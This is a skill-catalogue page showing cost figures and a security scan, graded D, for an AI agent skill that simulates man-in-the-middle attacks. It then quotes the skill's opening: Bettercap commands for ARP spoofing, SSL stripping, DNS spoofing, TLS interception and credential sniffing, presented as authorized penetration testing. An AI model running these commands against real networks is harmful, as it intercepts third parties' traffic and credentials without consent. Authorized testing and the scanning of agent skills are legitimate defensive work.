Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Youngmaidainon/Agent-Level-Up --skill conducting-man-in-the-middle-attack-simulationgit clone --depth 1 https://github.com/Youngmaidainon/Agent-Level-UpWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/youngmaidainon/agent-level-up/conducting-man-in-the-middle-attack-simulation)<a href="https://agentmods.dev/skills/youngmaidainon/agent-level-up/conducting-man-in-the-middle-attack-simulation"><img src="https://agentmods.dev/badge/skills/youngmaidainon/agent-level-up/conducting-man-in-the-middle-attack-simulation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/youngmaidainon/agent-level-up/conducting-man-in-the-middle-attack-simulation"><img src="https://agentmods.dev/badge/skills/youngmaidainon/agent-level-up/conducting-man-in-the-middle-attack-simulation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.02937 |
| Opus 5 | $0.00026 | $0.01469 |
| Sonnet 5 | $0.00011 | $0.00587 |
| Haiku 4.5 | $0.00005 | $0.00294 |
Grade D, and why
conducting-man-in-the-middle-attack-simulation scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
"""mitmproxy script to extract credentials from intercepted traffic.""" Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo sysctl -w net.ipv4.ip_forward=1 Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security" This is a copy
100% identical to conducting-man-in-the-middle-attack-simulation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 296 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Conducting Man-in-the-Middle Attack Simulation
When to Use
- Testing whether applications properly validate TLS certificates and enforce encrypted communications
- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
- Training incident response teams to identify and respond to MITM attack indicators
Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.
Prerequisites
- Written authorization specifying in-scope targets and approved MITM techniques
- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
- Layer 2 access to the same network segment as target hosts
- Custom CA certificate for TLS interception testing (generated specifically for the engagement)
- Wireshark or tshark for capturing and verifying intercepted traffic
- Isolated lab environment or approved production test window with rollback procedures
Workflow
Step 1: Set Up the Attack Environment
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
-subj "/CN=MITM Test CA/O=Security Assessment/C=US"
# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
Step 2: Execute ARP-Based MITM with Bettercap
# Start Bettercap with interactive mode
sudo bettercap -iface eth0
# Enable network probing to discover hosts
> net.probe on
# Display discovered hosts
> net.show
# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
# Start ARP spoofing
> arp.spoof on
# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on
# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 296 lines · 53 tokens per session scan D e15514bfe8bc
conducting-man-in-the-middle-attack-simulation is a skill published in the GitHub repository Youngmaidainon/Agent-Level-Up (3 stars, last pushed 18d ago), licensed MIT. It adds 53 tokens to every session and 2,937 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 3 findings (harvests environment variables, asks for root, makes network calls). It is 100% identical to conducting-man-in-the-middle-attack-simulation, differing in 0 lines, and is treated as a copy.
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conducting-man-in-the-middle-attack-simulation
Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
conducting-man-in-the-middle-attack-simulation
Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
performing-arp-spoofing-in-lab
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